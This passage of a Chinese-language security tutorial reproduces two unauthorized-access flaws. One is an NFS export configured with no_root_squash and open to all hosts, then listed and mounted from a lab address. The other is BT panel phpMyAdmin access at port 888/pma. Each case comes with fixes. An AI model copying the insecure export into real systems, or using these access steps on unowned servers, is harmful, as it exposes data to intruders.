NFS默認監聽端口為2049。
漏洞復現
環境搭建
安裝NFS服務端: sudo apt install nfs-kernel-serve
安裝NFS客戶端: sudo apt install nfs-common
編寫配置文件:
#編輯/etc/exports 文件:
sudo vi /etc/exports
#/etc/exports文件的內容如下:
/tmp *(rw,sync,no_subtree_check,no_root_squash)
創建共享目錄
#在服務器端創建/tmp共享目錄
sudo mkdir -p /tmp
重啟nfs服務:
sudo service nfs-kernel-server restart
漏洞利用
showmount -e 192.168.168.131 查看nfs服務器上的共享目錄
將NFS服務器192.168.168.131上的目錄,掛載到本地
sudo mount -t nfs 192.168.168.131:/tmp /mnt
修復方法
1、設置/etc/exports,對訪問進行控制
2、利用iptables限制端口2049和20048端口的訪問
寶塔面板phpMyAdmin未授權訪問漏洞
漏洞簡介
寶塔面板是提升運維效率的服務器管理軟件,支持一鍵LAMP/LNMP/WAMP/集群/監控/網站/FTP/數據庫/JAVA等100多項服務器管理功能。
寶塔Linux面板7.4.2版本和Windows面板6.8版本存在phpmyadmin未授權訪問漏洞。
漏洞復現
漏洞 URL:ip:888/pma 即可直接登錄(但要求必須安裝了 phpmyadmin)
修復方法
- 更新到最新版
- 進入目錄 /www/server/phpmyadmin/ 里面 把 PMA 目錄刪掉
參考
https://www.freebuf.com/articles/web/207877.html